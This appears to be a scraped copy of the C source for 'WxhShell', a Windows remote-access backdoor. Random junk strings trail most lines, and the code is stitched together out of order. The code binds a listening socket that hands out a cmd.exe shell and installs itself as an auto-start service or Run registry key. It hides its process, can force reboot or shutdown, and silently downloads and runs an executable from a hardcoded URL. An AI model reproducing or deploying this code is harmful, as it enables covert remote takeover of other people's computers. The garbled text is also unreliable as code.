    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F)!B%4  
    if(Boot(SHUTDOWN)) Yr"G)i~"Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {n{ j*+  
    else { W)o-aX!P  
    closesocket(wsh); d[jxU/.p;  
    ExitThread(0); 5 '.j+{"  
    } !k Hpw2  
    break; 6D) vY  
    } 9].!mpR  
  // 获取shell p-M QI }  
  case 's': { <^OGJ}G  
    CmdShell(wsh); n&k1'KL&  
    closesocket(wsh); |7%M:7 Q  
    ExitThread(0); jR*1%.Ng  
    break; R$wo{{KX  
  } s!uewS.  
  // 退出 Au@U;a4UU  
  case 'x': { V&[|%jm&   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pvkru-i]  
    CloseIt(wsh); 0!\pS{$zB  
    break; *S`& X Pj  
    } L7C!rS  
  // 离开 SkVW8n*s  
  case 'q': { ?;!l-Dy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -k")#1  
    closesocket(wsh); cl)%qIXj}H  
    WSACleanup(); , En D3 |  
    exit(1); {-tCLkE 3  
    break; |G!-FmIK  
        } L~CwL  
  } `G6Nk@9.  
  } bv-s}UP0  
ps^Z)x`GV  
  // 提示信息 ,,lrF.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PudwcP {  
} ,\xeNUZd  
  } 8.F]&D0p8  
cC b'z1  
  return; T^%$  
} px" .pYr0  
S"V|BU  
// shell模块句柄 JM@MNS_||(  
int CmdShell(SOCKET sock) Tgc)'8A;BN  
{ cT-XF  
STARTUPINFO si; c2-NXSjsW  
ZeroMemory(&si,sizeof(si)); gVEW*8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gd%KBb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9!}&&]Q`  
PROCESS_INFORMATION ProcessInfo; >Y!5c 2~`;  
char cmdline[]="cmd"; !ku5P+y$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eBlVb*nmq  
  return 0; ldO6W7 G|h  
} vrLI`3n]  
1s"6  
// 自身启动模式 &FW|O(]  
int StartFromService(void) u#ag|b/C:  
{ d*4fl.  
typedef struct T\NvN&h-  
{ h,LwC9  
  DWORD ExitStatus; ?1JS*LQ$  
  DWORD PebBaseAddress; DgGGrV`  
  DWORD AffinityMask; now\-XrS  
  DWORD BasePriority; a}c.]zm]  
  ULONG UniqueProcessId; @OV\raUO&V  
  ULONG InheritedFromUniqueProcessId; 9Qst5n\Z  
}   PROCESS_BASIC_INFORMATION; Kp!sn,:  
UPfH~H[1)  
PROCNTQSIP NtQueryInformationProcess; LhUrVydL  
@Q 8E)k@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]Wa.k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5~5d%C^3k  
Mnn\y Tblp  
  HANDLE             hProcess; g!,>.  
  PROCESS_BASIC_INFORMATION pbi; A|Up >`QH  
mhv{6v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2zZ" }Zr#  
  if(NULL == hInst ) return 0; @rB!47!  
oQ{(7.e7)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |W[BqQIf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f,wB.MN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \'q 9,tP  
`%SFu  
  if (!NtQueryInformationProcess) return 0; 82O#Fe q  
07:CcT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oj/,vO:QT  
  if(!hProcess) return 0; _VFl.U,   
0O5(\8jM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s G!SSRL@  
K&0'@#bE\  
  CloseHandle(hProcess); JPltB8j?  
HTA@en[5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NifzZEX  
if(hProcess==NULL) return 0; ]>M{Q n*  
60ccQ7=  
HMODULE hMod; f| P%  
char procName[255]; 6p|*H?|It  
unsigned long cbNeeded; yj13>"nh  
;nW#Dn9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |]kcgLqj  
= Bz yI  
  CloseHandle(hProcess); Yx>y(Whu.  
U bUl]  
if(strstr(procName,"services")) return 1; // 以服务启动 EdbL AagI6  
cOkjeHs 5  
  return 0; // 注册表启动 3\j{*f$J  
} 5v<X-8"  
)FVW/{NF@q  
// 主模块 2mg4*Ys  
int StartWxhshell(LPSTR lpCmdLine) nG hFYQl  
{ " lar~  
  SOCKET wsl; 1#9qP~#]'{  
BOOL val=TRUE; kq xX!  
  int port=0; 4Y2l]86  
  struct sockaddr_in door; 4Qh\3UL~  
a7KP_[_(  
  if(wscfg.ws_autoins) Install(); qw={gZ  
cyu)YxT  
port=atoi(lpCmdLine); Z:7X=t =  
YaI8hj@}  
if(port<=0) port=wscfg.ws_port; Ry2rQM`  
#!!Ea'3Iq  
  WSADATA data; jLRUWg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |O =Fz3)  
O {u^&V]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vl+vzAd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K.'II9-{  
  door.sin_family = AF_INET; Q%:#xG5AmE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sg;c|u  
  door.sin_port = htons(port); S,A\%:Va  
:j2G0vHIl(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zOO:`^ m  
closesocket(wsl); ]"?+R+  
return 1; 2@ 4^ 81  
} lrQ +G@#  
PO9<g% qTf  
  if(listen(wsl,2) == INVALID_SOCKET) { c@iP^;D  
closesocket(wsl); ^,F8 ha  
return 1; AWSe!\b  
} E{_$C!.  
  Wxhshell(wsl); &aD ]_+b  
  WSACleanup(); /4w"akB|P  
Ck<g0o6  
return 0; MW&ww14  
O :P%gz4  
} :"BZK5{8  
V-rzn171Q)  
// 以NT服务方式启动 'fB/6[bd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R?bF b|5t  
{ &Xw{%Rg  
DWORD   status = 0; 5T]GyftFV  
  DWORD   specificError = 0xfffffff; aDr46TB`J  
P){F2&!P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eTi r-7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {p#[.E8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Okd?=*sBx  
  serviceStatus.dwWin32ExitCode     = 0; n$>E'oG2 t  
  serviceStatus.dwServiceSpecificExitCode = 0; v"x{oD$R  
  serviceStatus.dwCheckPoint       = 0; ;533;(d* o  
  serviceStatus.dwWaitHint       = 0; j(JUOief  
D4jf%7X!Lu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 38(Cj~u=3  
  if (hServiceStatusHandle==0) return; LZC)vF5  
F@=)jrO=$  
status = GetLastError(); |/LCwq%  
  if (status!=NO_ERROR) V *2 =S  
{ ,":l >0P[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %) A-zzj  
    serviceStatus.dwCheckPoint       = 0; d3 h^L  
    serviceStatus.dwWaitHint       = 0; i^hgs`hvU  
    serviceStatus.dwWin32ExitCode     = status; eO<:X|9T  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ya$JX(aUe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Kb]v\C:  
    return; #)im9LLC#  
  } 6OeRBD&  
6@ `'}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7vBB <\  
  serviceStatus.dwCheckPoint       = 0; \gd.Bl  
  serviceStatus.dwWaitHint       = 0; t%jB[w&,os  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N"d*pi#h  
} 6fxf|R\  
9r@T"$V#c  
// 处理NT服务事件,比如:启动、停止 P(N$U^pj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F,B,D^WD  
{ S(;3gQ77  
switch(fdwControl) `9%Q2Al  
{ Mq7d*Bgb  
case SERVICE_CONTROL_STOP: [;5?=X,LD  
  serviceStatus.dwWin32ExitCode = 0; e [D'0L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >{_`J  
  serviceStatus.dwCheckPoint   = 0; "],amJ  
  serviceStatus.dwWaitHint     = 0; gwFHp .mE  
  { Gx75EQ2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jtWI@04o09  
  } w`~j(G4N  
  return; x@EEMO1_"  
case SERVICE_CONTROL_PAUSE: _SS6@`X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;jb+x5t  
  break; 'IrwlS  
case SERVICE_CONTROL_CONTINUE: \ ]AsL&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T""y)%  
  break; J(&a,w>p  
case SERVICE_CONTROL_INTERROGATE: kzs}U'U  
  break; m<ZwbD  
}; nU Oy-c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eit>4xMu  
} MYqxkhcLH1  
*.ffyBI*~  
// 标准应用程序主函数 ^FLuhLS\*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8'+XR`g:ax  
{ Q7PqN1jTE  
%;,D:Tv=&  
// 获取操作系统版本 |0Kj0u8T  
OsIsNt=GetOsVer(); Q!DQ!;Br6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m4:b?[  
F8 4LMk?U  
  // 从命令行安装 :z=/z!5:j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4i'2~w{/  
]1]  
  // 下载执行文件 ye U4,K o  
if(wscfg.ws_downexe) { H >@yC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +M9=KVr  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z+"%MkX0  
} Q"]C" ?  
)F;[  
if(!OsIsNt) { 5utMZ>%w_#  
// 如果时win9x,隐藏进程并且设置为注册表启动 hk"^3d!  
HideProc(); &Vi"m!Bf  
StartWxhshell(lpCmdLine); 6ju+#]T  
} r\+AeCyb"p  
else "HR &Rf k  
  if(StartFromService()) 8;3T65KY  
  // 以服务方式启动 7M: 0%n$  
  StartServiceCtrlDispatcher(DispatchTable); \$J!B&i  
else k|l"Rh<\~  
  // 普通方式启动 p\e*eV1dxx  
  StartWxhshell(lpCmdLine); &,':@OQ  
(bo{vX  
return 0; hB:R8Y^?H  
} Fs:l"5~>1  
Jrlc%,pZ  
BY: cSqAW  
whP>'9t.w  
=========================================== (E)/' sEb  
Xmy(pV!PF  
]4@z.1Mr  
Dbr(Wg  
st36xS  
/IVw}:G  
" fw^mjD  
FK!9to>  
#include <stdio.h> NXDV3MH=  
#include <string.h> %V;k/w~[  
#include <windows.h> &..![,)w^!  
#include <winsock2.h> NWB/N*  
#include <winsvc.h> hD58 s"L$  
#include <urlmon.h> ;B`e;B?1Q  
Ks09F}  
#pragma comment (lib, "Ws2_32.lib") S5RS?ya  
#pragma comment (lib, "urlmon.lib") D00rO4~6D%  
e*vSGT$KgL  
#define MAX_USER   100 // 最大客户端连接数 {Z;W|w1t  
#define BUF_SOCK   200 // sock buffer \`x'r$CV  
#define KEY_BUFF   255 // 输入 buffer u7`<m.\  
#v-)Ie\F?  
#define REBOOT     0   // 重启 ^~MHxF5d  
#define SHUTDOWN   1   // 关机 4BuS? #_  
/S9Mu )1Y  
#define DEF_PORT   5000 // 监听端口 R4}G@&Q  
13A11XTp  
#define REG_LEN     16   // 注册表键长度 7w )#[^  
#define SVC_LEN     80   // NT服务名长度 C%#C|X193  
XuHJy  
// 从dll定义API n*D)RiW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uk ?V7?&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oTOe(5N8a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~;m~)D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W5:S+  
_?Jm.nT  
// wxhshell配置信息 wSIt"g,%  
struct WSCFG { 4$.UVW\  
  int ws_port;         // 监听端口 ) !ZA.sx  
  char ws_passstr[REG_LEN]; // 口令 R|!4Y`  
  int ws_autoins;       // 安装标记, 1=yes 0=no w _eu@R:u@  
  char ws_regname[REG_LEN]; // 注册表键名 \@OKB<ra  
  char ws_svcname[REG_LEN]; // 服务名 zy@ #R;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & A9psc(,&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _F^|n}Qbj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6@o_MtI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?vf{v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Yj\*N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Ry NM2YI  
/[nt=#+   
}; 1aYO:ZPy  
:'GTCo$3  
// default Wxhshell configuration K r]!BI?z  
struct WSCFG wscfg={DEF_PORT,  =sG(l  
    "xuhuanlingzhe", N!RyncJ  
    1, wrsETB c  
    "Wxhshell", \"Sqr(~_  
    "Wxhshell", ? dSrY  
            "WxhShell Service", 2%vwC]A  
    "Wrsky Windows CmdShell Service", @u6#Tvxy[  
    "Please Input Your Password: ", "hog A5=  
  1, g;]2'Rj  
  "http://www.wrsky.com/wxhshell.exe", aDza"Ln  
  "Wxhshell.exe" f<|8NQ2y.  
    }; tvRa.3  
0e vxRcrzz  
// 消息定义模块 ?WUE+(oH>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `j=CzZ*em?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C<w9f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *o"F.H{#N  
char *msg_ws_ext="\n\rExit."; +< BAJWU  
char *msg_ws_end="\n\rQuit."; m}Tu^dy  
char *msg_ws_boot="\n\rReboot..."; D>*%zz|  
char *msg_ws_poff="\n\rShutdown..."; y''?yr  
char *msg_ws_down="\n\rSave to "; !h9 An  
>wcsJ {I  
char *msg_ws_err="\n\rErr!"; k~=-o>}C  
char *msg_ws_ok="\n\rOK!"; |BYD]vK  
E?Q=#+}U  
char ExeFile[MAX_PATH]; X[;4.imE  
int nUser = 0; 2b|vb}|t{  
HANDLE handles[MAX_USER]; wZrdr4j  
int OsIsNt; Bfw>2  
P!bm$h*3?  
SERVICE_STATUS       serviceStatus; }aX).u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yJb;V#  
j?z(fs-  
// 函数声明 Y,E:?  
int Install(void); AS;{O>}54  
int Uninstall(void); `m'2RNSc+#  
int DownloadFile(char *sURL, SOCKET wsh); ?Cu#(  
int Boot(int flag); TqbKH08i/  
void HideProc(void); SKRD{MRsux  
int GetOsVer(void); ]s, T` (&  
int Wxhshell(SOCKET wsl); O gHWmb  
void TalkWithClient(void *cs); d\Dxmb]o  
int CmdShell(SOCKET sock); 6oUT+^z#  
int StartFromService(void); H`@x5RjS   
int StartWxhshell(LPSTR lpCmdLine); miN(a; Q2P  
i@B5B2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a+]=3o  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ITbl%q  
k, v.U8  
// 数据结构和表定义 l^0 <a<P  
SERVICE_TABLE_ENTRY DispatchTable[] = 8KoPaq   
{  KQW  
{wscfg.ws_svcname, NTServiceMain}, iv;;GW{2  
{NULL, NULL} $/wr?  
}; wRie{Vk  
/[EI0 ~P  
// 自我安装 k7W8$8 v  
int Install(void) 8%nTDSp&t  
{ g>f(5  
  char svExeFile[MAX_PATH]; ;utjW1y  
  HKEY key; (\R"v^  
  strcpy(svExeFile,ExeFile); kV<VhBql!  
f$WO{ J  
// 如果是win9x系统,修改注册表设为自启动 CtSAo\F  
if(!OsIsNt) { V l9\&EL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PVtQ&m$y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b|fq63ar;  
  RegCloseKey(key); XTeU 2I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I|R9@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \-sD RW  
  RegCloseKey(key); $~ItT1k_  
  return 0; i!czI8  
    } 80+" x3r  
  } W BiBtU  
} g?@(+\W  
else { Z.R^@@RqJ  
<,cDEN7  
// 如果是NT以上系统,安装为系统服务 8@$QN4^u^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $rjv4e}7  
if (schSCManager!=0) @[JQCQ#r  
{ D %5 0  
  SC_HANDLE schService = CreateService n7{c0;)$  
  ( +JQN=nTA  
  schSCManager, $fh?(J  
  wscfg.ws_svcname, ,[ Ytl  
  wscfg.ws_svcdisp,  &$+yXN  
  SERVICE_ALL_ACCESS, 1y?TyUP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @8_K^3-~e  
  SERVICE_AUTO_START, pCg0xbc`  
  SERVICE_ERROR_NORMAL, e@Mm4&f[p  
  svExeFile, j f^fj-  
  NULL,  %gf8'Q  
  NULL, f'%}{l: ss  
  NULL, `,7BU??+u  
  NULL, +F0M?,  
  NULL zR`]8E]  
  ); U\b,W&%P  
  if (schService!=0) vO&1F@  
  { Fir7z nRW  
  CloseServiceHandle(schService); MOOL=Um3  
  CloseServiceHandle(schSCManager); iezz[;t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7qh_URt@  
  strcat(svExeFile,wscfg.ws_svcname); %l5J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * |,V$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v4S|&m  
  RegCloseKey(key); 'rCwPsI&4  
  return 0; dB1bf2'b#  
    } S:R%%cy  
  } m*a0V  
  CloseServiceHandle(schSCManager); e1'_]   
} rP>5OLP  
} ^Nc\D7( l  
4Q!*h8O  
return 1; Ig9$ PP+3  
} nq$^}L3&~  
L:%h]-  
// 自我卸载 0,VbB7 z  
int Uninstall(void) thq(tK7  
{ %_/_klxnO  
  HKEY key; ?EtK/6dJZt  
4l z9z>J.V  
if(!OsIsNt) { 2 K` hH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4~{#P^i  
  RegDeleteValue(key,wscfg.ws_regname); :/1WJG:!  
  RegCloseKey(key); IXC: Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7qnw.7p  
  RegDeleteValue(key,wscfg.ws_regname); Xt$?Kx_,  
  RegCloseKey(key); p_mP'  
  return 0; `|]juc  
  } M\T6cN@m  
} W;hI[9  
} r?[Zf2&  
else { wRWN]Vo  
vmk c]DC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^srx/6X  
if (schSCManager!=0) t/y0gr tm6  
{ t4 aa5@r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L%=u&9DmU  
  if (schService!=0) ;H}? 8L  
  { _\u'~wWl  
  if(DeleteService(schService)!=0) { :@n e29,}  
  CloseServiceHandle(schService); /)v X|qtIY  
  CloseServiceHandle(schSCManager); \bfNki  
  return 0;  okfhd{9  
  } gI T"nG=a4  
  CloseServiceHandle(schService); B?Pu0 _|s  
  } EpPKo  
  CloseServiceHandle(schSCManager); Z}XA (;ck  
} jgukW7H  
} FVHEb\Z  
HPu nNsA  
return 1; k2O==IG]6  
} h( Iti&  
QhN5t/Hr  
// 从指定url下载文件 Knn$<!>  
int DownloadFile(char *sURL, SOCKET wsh) M<Eg<*  
{ cp]\<p('A  
  HRESULT hr; edbzg #wy  
char seps[]= "/"; iao_w'tJ  
char *token; Y2Y/laD  
char *file; ?L7z\b"_~  
char myURL[MAX_PATH]; q?JP\_o:  
char myFILE[MAX_PATH]; hXZk$a'  
S{&;  
strcpy(myURL,sURL); _W&.{ 7  
  token=strtok(myURL,seps); 7eZ,; x  
  while(token!=NULL) +jQW6k#  
  { .p <!2   
    file=token; 3rOv j&2  
  token=strtok(NULL,seps); f`vB$r>  
  } ALPZc:  
k`xPf\^tf  
GetCurrentDirectory(MAX_PATH,myFILE); Dy0RZF4_  
strcat(myFILE, "\\"); i?||R|>;"'  
strcat(myFILE, file); joYj`K  
  send(wsh,myFILE,strlen(myFILE),0); 7)<&,BWc  
send(wsh,"...",3,0); NouT~K`'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1[mX_ }K  
  if(hr==S_OK) v-g2k_ o|  
return 0; lP0'Zg(  
else +.gZILw  
return 1; /2 WGo-  
,uK }$l  
} $M#G;W5c  
X8y&|uH  
// 系统电源模块 7oK!!Qd^w  
int Boot(int flag) PWmFY'=  
{ Pe~[qETv  
  HANDLE hToken; sF f@>  
  TOKEN_PRIVILEGES tkp; l g~Gkd6  
-PoW56  
  if(OsIsNt) { _-^a8F>/19  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eY;XF.mF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t 8|i>(O  
    tkp.PrivilegeCount = 1; HZ )z^K?1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;MR8E9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f{G ^b&x  
if(flag==REBOOT) { AwUcU;"9>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h 5<46!P  
  return 0; RMDzPda.  
} Wi)Y9frE  
else { q\/ph(HF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'H zF/RKh  
  return 0; 5{L~e>oS9  
} <0T|RhbY   
  } 6 -N 442  
  else { (gQP_Oa(  
if(flag==REBOOT) { Rcc9Tx(zvQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2V:`':  
  return 0; \0). ODA(  
} fl9`Mgu  
else { 3fM8W> *7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^|hlY ]Ev  
  return 0; WB K6Ug  
} BF b<"!Y  
} T]HeS(  
"A6m-xE~  
return 1; QVJq%P  
} +0_e a~{  
oIrO%v:'!  
// win9x进程隐藏模块 lK 5@qG#  
void HideProc(void) Qzt'ZK  
{ ~}pc&jz>q  
Y 3h`uLQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _(l?gj  
  if ( hKernel != NULL ) L7;8:^  v  
  { qILb>#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C3)*Mn3%P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xhK8Q  
    FreeLibrary(hKernel); XXPn)kmWR  
  } +saXN6  
;-#2p^  
return; G5vp(%j  
} FUzN }"\1  
JlR$"GU  
// 获取操作系统版本 ~@=(#tO.  
int GetOsVer(void) )0+6^[Tqq  
{ cD6S;PSg  
  OSVERSIONINFO winfo; p>_Qns7W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _rM?g1}5j  
  GetVersionEx(&winfo); FJ,"a%m/Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J/LsL k  
  return 1; Znr@-=xZO*  
  else t.y-b`v  
  return 0; !6!Gx:  
} O,6Wdw3+-3  
o3]Lrzh  
// 客户端句柄模块 .V4-  
int Wxhshell(SOCKET wsl) d|?Xo\+  
{ xt_:R~/[  
  SOCKET wsh; ;/:Sx/#s  
  struct sockaddr_in client; &hEn3u  
  DWORD myID; wXjidOd $  
[?%q,>F  
  while(nUser<MAX_USER) e,N}z  
{ is }>+&_  
  int nSize=sizeof(client); ]Hp>~Zvbb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XeX\u3<D  
  if(wsh==INVALID_SOCKET) return 1; n{u\t+f  
B*Q9g r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e:%|.$4OG  
if(handles[nUser]==0) H2H`7 +I,  
  closesocket(wsh); *Nm$b+  
else ,qx^D  
  nUser++; I4W@t4bZ  
  } !O,Sq/=.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o]E L=j  
vJLGy]  
  return 0; KL3Z(  
} > vdmN]  
>H^#!eaqw  
// 关闭 socket e2f+Fv 9  
void CloseIt(SOCKET wsh) {`QA.he.  
{ 8Qo'[+4;  
closesocket(wsh); 6<EGH*GQ$  
nUser--; q`,%L1c4  
ExitThread(0); [Ur\^wS  
} D"J',YN$  
 g5 T  
// 客户端请求句柄 (`S^6 -^  
void TalkWithClient(void *cs) ia7<AwV  
{ 9.8%Iw  
vfc:ok1  
  SOCKET wsh=(SOCKET)cs; s3HVX'   
  char pwd[SVC_LEN]; -8xf}v~u  
  char cmd[KEY_BUFF]; |GtvgvO,  
char chr[1]; y{S8?$dU$:  
int i,j; d2V X\  
 V\o7KF  
  while (nUser < MAX_USER) { p}^5ru  
RFMPh<Ac  
if(wscfg.ws_passstr) { =e4 r=I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |~r-VV(=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AH|gI2  
  //ZeroMemory(pwd,KEY_BUFF); @^A5{qQ\  
      i=0; # obRr#8  
  while(i<SVC_LEN) { '`3#FCg  
@@)2 12  
  // 设置超时 1>"-!ADm  
  fd_set FdRead; !bP%\)5  
  struct timeval TimeOut; PD)"od  
  FD_ZERO(&FdRead); ,;_+o]  
  FD_SET(wsh,&FdRead); )P$|9<_q7x  
  TimeOut.tv_sec=8; tO&ffZP8$  
  TimeOut.tv_usec=0; 7Ml4u%?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h:nybLw?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fC[za,PXaE  
t N{S;)q#X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gq^vto  
  pwd=chr[0]; N ~{N Nf Y  
  if(chr[0]==0xd || chr[0]==0xa) { lG}#K^q  
  pwd=0; B1V{3  
  break; -}#HaL#'K  
  } ")T\_ME  
  i++; LWyr  
    } 1@DC#2hPr  
V5 w1ET  
  // 如果是非法用户,关闭 socket Nob(D'vSr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {drc}BL_  
} 5~|{:29X  
Snx!^4+MF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a YWWln  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $VuXr=f}  
){*+s RBW  
while(1) { c2y,zq|H  
r 3W3;L   
  ZeroMemory(cmd,KEY_BUFF); 4f([EV[6dK  
lH}KFFbp  
      // 自动支持客户端 telnet标准   $KK~KEZ2  
  j=0; )S caT1I  
  while(j<KEY_BUFF) { qhEv6Yxfw6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .UG`pRC  
  cmd[j]=chr[0]; ?13qDD:  
  if(chr[0]==0xa || chr[0]==0xd) { fSkDD>&  
  cmd[j]=0; |_V(^b}  
  break; `POzwYh  
  } wI$ a1H  
  j++; {FNkPX  
    } `Mnu<)v  
rm iOeS`:  
  // 下载文件 =~B"8@B  
  if(strstr(cmd,"http://")) { CMXF[X)%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K#0TD( "  
  if(DownloadFile(cmd,wsh)) aQCu3T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ieFl4hh[G  
  else 8]ZzO(=@{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .T| }rB<c  
  } CL|/I:%0  
  else { qCV<-o  
|' Fe?~P`  
